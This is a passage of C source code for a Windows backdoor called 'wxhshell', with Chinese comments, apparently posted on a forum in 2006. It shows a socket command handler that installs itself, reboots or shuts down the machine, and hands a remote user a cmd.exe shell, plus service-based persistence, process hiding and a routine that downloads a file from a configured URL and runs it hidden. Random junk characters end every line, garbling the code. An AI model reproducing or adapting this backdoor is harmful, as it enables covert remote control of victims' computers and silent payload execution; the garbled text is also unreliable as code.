  else vYLspZ;S  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zJ1M$ U  
  } .pl,ujv  
  else { @*6_Rp"@  
o^d|/;  
    switch(cmd[0]) { }NV<k  
  zU0JwZi  
  // 帮助 86qQ"=v  
  case '?': { dn42'(p@G  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $'!n4}$}  
    break; ;&?ITV  
  } i,Jz 7OX  
  // 安装 (A}c22qe  
  case 'i': { ,_7m<(/f  
    if(Install()) X>yE<ni  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TOP,]N/F H  
    else dR,a0+!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K!>3`[:I"  
    break; }7fzEo`g  
    } b/#<::D `  
  // 卸载 ib]<;t  
  case 'r': { rfgsas{F  
    if(Uninstall()) f<<$!]\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p ~+sk1[.  
    else l% %cU"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7:$dl #  
    break; 4RQ38%> >j  
    } 3|3ad'  
  // 显示 wxhshell 所在路径 I%j]pY4  
  case 'p': { 9/&1lFKJ  
    char svExeFile[MAX_PATH]; RJT55Rv{  
    strcpy(svExeFile,"\n\r"); l9y%@7  
      strcat(svExeFile,ExeFile); :G^4/A_  
        send(wsh,svExeFile,strlen(svExeFile),0); '}>8+vU`  
    break; O7&OCo|b%>  
    } JiA1yt  
  // 重启 >: @\SU  
  case 'b': { kY4h-oZ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); l`j@QP  
    if(Boot(REBOOT)) >E,/|K*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n|QA\,=  
    else { QqeF   
    closesocket(wsh); @k:@mzB7R  
    ExitThread(0); 3%x-^.  
    } Xh~oDnP  
    break; $x+ P)5)  
    } &XhxkN$8  
  // 关机 0q1+5  
  case 'd': { 5rA>2<\pQ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9/#b1NGv  
    if(Boot(SHUTDOWN)) hSh^A5 /  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $'a]lR  
    else { zRau/1Y0  
    closesocket(wsh); %uP/v\l  
    ExitThread(0); TUp%Cx  
    } ]@}@G[e#[  
    break; 7d_"4;K)  
    } %a-fxV[  
  // 获取shell r"5\\qf5*  
  case 's': { RC/& dB  
    CmdShell(wsh); +fMW B  
    closesocket(wsh); Jx4~o{Z}c  
    ExitThread(0); 7:.!R^5H  
    break; ;:)u rI?  
  } 6H|T )  
  // 退出 WCI'Kh   
  case 'x': { PCKxo;bD  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); p1ER<_fp  
    CloseIt(wsh); o3OJI_ v &  
    break; "KY]2v.  
    } bG)6p05Oa  
  // 离开 <(~geN  
  case 'q': { H[r64~Sth  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); CTX%~1 _`O  
    closesocket(wsh); 2+LvlS)C  
    WSACleanup(); U4e9[=q`'  
    exit(1); z-S8s2.Fd  
    break; `3UvKqe  
        } ]RW*3X  
  } O=Vj*G ,  
  } 23zR0z(L  
-]Oi/i,{  
  // 提示信息 wS:`c J  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F2=#\U$  
} QVN @B[9  
  }  $)(Zt^  
@Z~0!VY  
  return; Ti5"a<R4m6  
} 3SOrM  
".fnx8v,  
// shell模块句柄 C2 !F   
int CmdShell(SOCKET sock) `[f IK,  
{ -n$hm+S  
STARTUPINFO si; 7q^a@5f BG  
ZeroMemory(&si,sizeof(si)); xSjs+Y;Mu  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; sQY0Xys<4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; D_I_=0qNd  
PROCESS_INFORMATION ProcessInfo; 8GT{vW9  
char cmdline[]="cmd"; 7I6& *I  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); pkA(\0E8  
  return 0; tpKQ$) ed  
} <UJ5n) }"\  
&)Iue<&2  
// 自身启动模式 5kj=Y]9\I  
int StartFromService(void) {E>(%vD  
{ ;cWFh4_  
typedef struct p:|p?  
{ rAQ3x0  
  DWORD ExitStatus; ^eqq|(<K  
  DWORD PebBaseAddress; #!M;4~Sfx  
  DWORD AffinityMask; HG})V PBa  
  DWORD BasePriority; 9'\*Ip^  
  ULONG UniqueProcessId; SL%lY  
  ULONG InheritedFromUniqueProcessId; I[v~nY~l`  
}   PROCESS_BASIC_INFORMATION; l8!n!sC[,  
=ThacZHb8  
PROCNTQSIP NtQueryInformationProcess; zeHs5P8}r  
XE*#5u8t  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;  *U4eL-  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]3yaIlpD1  
>K;C?gHo  
  HANDLE             hProcess; ljj}X JQ  
  PROCESS_BASIC_INFORMATION pbi; <F5x}i~(C  
N%QVkuCbM  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &#[6a&9#[A  
  if(NULL == hInst ) return 0; 80O[pf*?  
Z <tJ+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); H52] Zm  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3sBu`R*hk  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); s$OnQc2/  
\Ot,&Z k2  
  if (!NtQueryInformationProcess) return 0; p< jM%fbZk  
ais"xm<V  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [,p[%Dza  
  if(!hProcess) return 0; {= l 9{K`~  
A! !W\Jt  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; p\/;^c`7  
k7Xa|&fQP<  
  CloseHandle(hProcess); 5?4jD]Z  
\!:^=2VF  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -*C+z!?BP  
if(hProcess==NULL) return 0; i!EN/Bd  
x AR9* <-  
HMODULE hMod; '|l1-yD_  
char procName[255]; 4P}<86xk  
unsigned long cbNeeded; #a"gW,/K  
IG~d7rh"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); XQL]I$?  
Q68q76  
  CloseHandle(hProcess); !XS ;&s7[*  
go$zi5{h#  
if(strstr(procName,"services")) return 1; // 以服务启动 SdBo sB3v>  
Q+'QJ7fw'|  
  return 0; // 注册表启动 ,v+~vXO&\  
} _kT$/k  
E h>qUa  
// 主模块 k9?fE  
int StartWxhshell(LPSTR lpCmdLine) D>Dch0{H,:  
{ 'uw=)8t7  
  SOCKET wsl; 8!{F6DG  
BOOL val=TRUE; ^< O=<tN\  
  int port=0; hbv>Jjd  
  struct sockaddr_in door; F&x9.  
W-+~r  
  if(wscfg.ws_autoins) Install();  \>*B  
ril4*$e7^\  
port=atoi(lpCmdLine); zDO`w0N  
WrNm:N  
if(port<=0) port=wscfg.ws_port; +\n8##oAI  
d'Z  
  WSADATA data; 7R`:^}'>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; fPW(hb;  
&c)n\x*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   _+hf.[""  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \d#|n u  
  door.sin_family = AF_INET; jN43vHm\Y9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7Z+4F=2ff  
  door.sin_port = htons(port); m.A_u7D@  
+WYXj  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [vs5e3B)  
closesocket(wsl); `Al( AT(p  
return 1; 3jB5F0^r1  
} k-&fPEjG  
h}o7/p  
  if(listen(wsl,2) == INVALID_SOCKET) { #4e Taik  
closesocket(wsl); y QxzFy  
return 1; >F~]r$G  
}  0"_FQv  
  Wxhshell(wsl); Spossp`|  
  WSACleanup(); <Prz>qL$  
nT.2HQ((Xg  
return 0; $($26g  
pIy+3&\e;  
} !!4` #Z0+#  
D> |R.{  
// 以NT服务方式启动 ' s6SKjZS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7C%z 0/  
{ 4iiW{rh4  
DWORD   status = 0; Z;6v`;[  
  DWORD   specificError = 0xfffffff; <g|\]\C|  
kF lq@['U  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [80L|?, *  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; E6  2{sA^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1 \_S1ZS  
  serviceStatus.dwWin32ExitCode     = 0; 5P'<X p  
  serviceStatus.dwServiceSpecificExitCode = 0; ~a^"VQ5]ac  
  serviceStatus.dwCheckPoint       = 0; U!rhj&n  
  serviceStatus.dwWaitHint       = 0; ,s*-2Sz  
WZ a?Xb  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &cEQ6('H  
  if (hServiceStatusHandle==0) return; wua`e <"  
Bu\:+3)  
status = GetLastError(); +&7D ;wj=  
  if (status!=NO_ERROR) "r Bb2.  
{ XUrxnJ4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; qMrBTq[  
    serviceStatus.dwCheckPoint       = 0; '7UW\KEB[}  
    serviceStatus.dwWaitHint       = 0; yrnIQu*Uu  
    serviceStatus.dwWin32ExitCode     = status; %,G&By&,  
    serviceStatus.dwServiceSpecificExitCode = specificError; $s*\yam?|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); qd=&*?  
    return; WxB}Uh  
  } fP>*EDn@xg  
H +O7+=&  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; DRC2U%[  
  serviceStatus.dwCheckPoint       = 0; jW^@lH EU  
  serviceStatus.dwWaitHint       = 0; ]\y:AkxhJ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); b'Scoa7@'  
} tp-PE?  
~9N n8g6  
// 处理NT服务事件,比如:启动、停止 gi|j ! m  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 06FBI?;|=  
{ zoUM<6q  
switch(fdwControl) )zzK\I6/EQ  
{ hP1H/=~  
case SERVICE_CONTROL_STOP: tCFXb6Cz  
  serviceStatus.dwWin32ExitCode = 0; '$@bTW  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &jh'B ,  
  serviceStatus.dwCheckPoint   = 0; &QaFX,N"  
  serviceStatus.dwWaitHint     = 0; Cx.GEY|0  
  { A.@S>H'P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6PF7Wl7.  
  } 66G$5  
  return; =BN_Kvza^6  
case SERVICE_CONTROL_PAUSE: UE2!,Z,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^ gY^I`"e6  
  break; \J>a*  
case SERVICE_CONTROL_CONTINUE: dX4"o?KD>  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 2E Ufd\   
  break; 8Z{e/wnVF  
case SERVICE_CONTROL_INTERROGATE: 7q2G/_  
  break; Cpm&w?6  
}; r~&[Gaw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q Q3a&  
} g]sc)4  
8J}gj7^8  
// 标准应用程序主函数 osS?SuQTE  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) JVPl\I  
{ AATiI+\S  
Ifgh yh<d  
// 获取操作系统版本 Rt &Oz!TQ  
OsIsNt=GetOsVer(); 8reis1]2S  
GetModuleFileName(NULL,ExeFile,MAX_PATH); V&i/3g  
z+RA  
  // 从命令行安装 R4 8w\?L  
  if(strpbrk(lpCmdLine,"iI")) Install(); \yIan<q  
jF5Y-CX  
  // 下载执行文件 @2>A\0U  
if(wscfg.ws_downexe) { k E^%w?C  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Sn(e@|!G  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;}iV`)S  
} p ~/  
;7jszs.6%  
if(!OsIsNt) { }Zs y&K  
// 如果时win9x,隐藏进程并且设置为注册表启动 '<}N`PS#N  
HideProc(); 6FYO5=R  
StartWxhshell(lpCmdLine); ~]CQ DR:  
} |\PI"rW  
else 381a(F[$e  
  if(StartFromService()) %XX(x'^4  
  // 以服务方式启动 ~N<zv( {lG  
  StartServiceCtrlDispatcher(DispatchTable); 5cr d.1@^  
else 0X.(BRI~6p  
  // 普通方式启动 e XB'>#&s  
  StartWxhshell(lpCmdLine); ?AMn>v  
- '<K_e;  
return 0; I?2S{]!?  
}
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只看该作者 1 发表于: 2006-10-10
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